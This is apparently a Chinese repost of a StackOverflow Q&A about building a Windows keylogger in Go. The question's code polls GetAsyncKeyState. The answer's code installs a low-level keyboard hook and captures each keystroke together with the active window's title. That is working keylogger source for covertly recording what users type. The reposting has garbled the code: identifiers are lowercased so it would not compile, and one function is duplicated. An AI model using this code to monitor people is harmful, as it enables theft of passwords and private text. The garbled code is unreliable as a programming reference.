在 Windows 的 GO 程序中创建键盘记录器 - 修复 GetAsyncKeyState 循环以支持 pt-br 重音
来源:stackoverflow
时间:2024-03-05 11:42:27 255浏览 收藏
怎么入门Golang编程?需要学习哪些知识点?这是新手们刚接触编程时常见的问题;下面golang学习网就来给大家整理分享一些知识点,希望能够给初学者一些帮助。本篇文章就来介绍《在 Windows 的 GO 程序中创建键盘记录器 - 修复 GetAsyncKeyState 循环以支持 pt-br 重音》,涉及到,有需要的可以收藏一下
我正在 golang for windows 中构建一个键盘记录器,以计算用户在一段时间内按下键盘按键的次数并将其存储在缓冲区中。
我正在使用 https://github.com/kindlyfire/go-keylogger 包来为我做艰苦的工作,但是当我开始运行时,我的键盘记录正常,但没有得到像“´”这样的按键的响应、“^”、“~”与其他字母(葡萄牙语中常见)如“a”、“o”、“u”组合时,停止打印这些组合(“á”、“é”、“ó”)和很快。我在一些文章中读到,使用 getasyncstatekey 不是执行此操作的正确方法,但作者没有解释为什么它会阻止这些组合键。有人可以帮助我以正确的方式做到这一点吗?我正在使用的代码几乎相同:
https://github.com/kindlyfire/go-keylogger
(包keylogger.go)
package keylogger
import (
"syscall"
"unicode/utf8"
"unsafe"
"github.com/thetitanrain/w32"
)
var (
moduser32 = syscall.newlazydll("user32.dll")
procgetkeyboardlayout = moduser32.newproc("getkeyboardlayout")
procgetkeyboardstate = moduser32.newproc("getkeyboardstate")
proctounicodeex = moduser32.newproc("tounicodeex")
procgetkeyboardlayoutlist = moduser32.newproc("getkeyboardlayoutlist")
procmapvirtualkeyex = moduser32.newproc("mapvirtualkeyexw")
procgetkeystate = moduser32.newproc("getkeystate")
)
// newkeylogger creates a new keylogger depending on
// the platform we are running on (currently only windows
// is supported)
func newkeylogger() keylogger {
kl := keylogger{}
return kl
}
// keylogger represents the keylogger
type keylogger struct {
lastkey int
}
// key is a single key entered by the user
type key struct {
empty bool
rune rune
keycode int
}
func (kl *keylogger) getkey() key {
activekey := 0
var keystate uint16
for i := 0; i < 256; i++ {
keystate = w32.getasynckeystate(i)
// check if the most significant bit is set (key is down)
// and check if the key is not a non-char key (except for space, 0x20)
if keystate&(1<<15) != 0 && !(i < 0x2f && i != 0x20) && (i < 160 || i > 165) && (i < 91 || i > 93) {
activekey = i
break
}
}
if activekey != 0 {
if activekey != kl.lastkey {
kl.lastkey = activekey
return kl.parsekeycode(activekey, keystate)
}
} else {
kl.lastkey = 0
}
return key{empty: true}
}
[...]continues
和主包:
package main
import (
"fmt"
"time"
"github.com/kindlyfire/go-keylogger"
)
const (
delayKeyfetchMS = 5
)
func main() {
kl := keylogger.NewKeylogger()
count := 0
for {
key := kl.GetKey()
if !key.Empty {
count ++
}
count++
fmt.Printf("key count: %d\r", count)
time.Sleep(delayKeyfetchMS * time.Millisecond)
}
}
我注意到当我将delaykeyfetchms增加到200或更多时,组合键会更容易,有时它会打印在屏幕上。
正确答案
我写了一篇关于如何在 golang 中创建键盘记录器的 blog post。希望对您有所帮助。
查看图书馆go-hook
// package keylogger... it's a keylogger.
package keylogger
import (
"fmt"
"os"
"os/signal"
"syscall"
"unsafe"
"github.com/moutend/go-hook/pkg/keyboard"
"github.com/moutend/go-hook/pkg/types"
"golang.org/x/sys/windows"
)
var (
mod = windows.newlazydll("user32.dll")
procgetkeystate = mod.newproc("getkeystate")
procgetkeyboardlayout = mod.newproc("getkeyboardlayout")
procgetkeyboardstate = mod.newproc("getkeyboardstate")
proctounicodeex = mod.newproc("tounicodeex")
procgetwindowtext = mod.newproc("getwindowtextw")
procgetwindowtextlength = mod.newproc("getwindowtextlengthw")
)
type (
handle uintptr
hwnd handle
)
// gets length of text of window text by hwnd
func getwindowtextlength(hwnd hwnd) int {
ret, _, _ := procgetwindowtextlength.call(
uintptr(hwnd))
return int(ret)
}
// gets text of window text by hwnd
func getwindowtext(hwnd hwnd) string {
textlen := getwindowtextlength(hwnd) + 1
buf := make([]uint16, textlen)
procgetwindowtext.call(
uintptr(hwnd),
uintptr(unsafe.pointer(&buf[0])),
uintptr(textlen))
return syscall.utf16tostring(buf)
}
// gets current foreground window
func getforegroundwindow() uintptr {
proc := mod.newproc("getforegroundwindow")
hwnd, _, _ := proc.call()
return hwnd
}
// runs the keylogger
func run(key_out chan rune, window_out chan string) error {
// buffer size is depends on your need. the 100 is placeholder value.
keyboardchan := make(chan types.keyboardevent, 100)
if err := keyboard.install(nil, keyboardchan); err != nil {
return err
}
defer keyboard.uninstall()
signalchan := make(chan os.signal, 1)
signal.notify(signalchan, os.interrupt)
fmt.println("start capturing keyboard input")
for {
select {
case <-signalchan:
fmt.println("received shutdown signal")
return nil
case k := <-keyboardchan:
if hwnd := getforegroundwindow(); hwnd != 0 {
if k.message == types.wm_keydown {
key_out <- vkcodetoascii(k)
window_out <- getwindowtext(hwnd(hwnd))
}
}
}
}
}
// converts from virtual-keycode to ascii rune
func vkcodetoascii(k types.keyboardevent) rune {
var buffer []uint16 = make([]uint16, 256)
var keystate []byte = make([]byte, 256)
n := 10
n |= (1 << 2)
procgetkeystate.call(uintptr(k.vkcode))
procgetkeyboardstate.call(uintptr(unsafe.pointer(&keystate[0])))
r1, _, _ := procgetkeyboardlayout.call(0)
proctounicodeex.call(uintptr(k.vkcode), uintptr(k.scancode), uintptr(unsafe.pointer(&keystate[0])),
uintptr(unsafe.pointer(&buffer[0])), 256, uintptr(n), r1)
if len(syscall.utf16tostring(buffer)) > 0 {
return []rune(syscall.utf16tostring(buffer))[0]
}
return rune(0)
}
func Run(key_out chan rune, window_out chan string) error {
// Buffer size is depends on your need. The 100 is placeholder value.
keyboardChan := make(chan types.KeyboardEvent, 1024)
if err := keyboard.Install(nil, keyboardChan); err != nil {
return err
}
defer keyboard.Uninstall()
signalChan := make(chan os.Signal, 1)
signal.Notify(signalChan, os.Interrupt)
fmt.Println("start capturing keyboard input")
for {
select {
case <-signalChan:
fmt.Println("Received shutdown signal")
return nil
case k := <-keyboardChan:
if hwnd := GetForegroundWindow(); hwnd != 0 {
if k.Message == types.WM_KEYDOWN {
key_out <- VKCodeToAscii(k)
window_out <- GetWindowText(HWND(hwnd))
}
}
}
}
}
首先初始化一个缓冲通道来存储键盘事件,然后使用keyboard.install()安装低级键盘钩子。 推迟钩子的卸载,以便在函数返回时卸载它。然后在无限 for 循环中使用 getforegroundwindow() 获取前景窗口,并在按下某个键时将键发送到 key_out 通道,并将窗口名称发送到 window_out 通道。
注意:这仅适用于 windows。
今天带大家了解了的相关知识,希望对你有所帮助;关于Golang的技术知识我们会一点点深入介绍,欢迎大家关注golang学习网公众号,一起学习编程~
-
502 收藏
-
502 收藏
-
501 收藏
-
501 收藏
-
501 收藏
-
139 收藏
-
204 收藏
-
325 收藏
-
478 收藏
-
486 收藏
-
439 收藏
-
357 收藏
-
352 收藏
-
101 收藏
-
440 收藏
-
212 收藏
-
143 收藏
-
- 前端进阶之JavaScript设计模式
- 设计模式是开发人员在软件开发过程中面临一般问题时的解决方案,代表了最佳的实践。本课程的主打内容包括JS常见设计模式以及具体应用场景,打造一站式知识长龙服务,适合有JS基础的同学学习。
- 立即学习 543次学习
-
- GO语言核心编程课程
- 本课程采用真实案例,全面具体可落地,从理论到实践,一步一步将GO核心编程技术、编程思想、底层实现融会贯通,使学习者贴近时代脉搏,做IT互联网时代的弄潮儿。
- 立即学习 516次学习
-
- 简单聊聊mysql8与网络通信
- 如有问题加微信:Le-studyg;在课程中,我们将首先介绍MySQL8的新特性,包括性能优化、安全增强、新数据类型等,帮助学生快速熟悉MySQL8的最新功能。接着,我们将深入解析MySQL的网络通信机制,包括协议、连接管理、数据传输等,让
- 立即学习 500次学习
-
- JavaScript正则表达式基础与实战
- 在任何一门编程语言中,正则表达式,都是一项重要的知识,它提供了高效的字符串匹配与捕获机制,可以极大的简化程序设计。
- 立即学习 487次学习
-
- 从零制作响应式网站—Grid布局
- 本系列教程将展示从零制作一个假想的网络科技公司官网,分为导航,轮播,关于我们,成功案例,服务流程,团队介绍,数据部分,公司动态,底部信息等内容区块。网站整体采用CSSGrid布局,支持响应式,有流畅过渡和展现动画。
- 立即学习 485次学习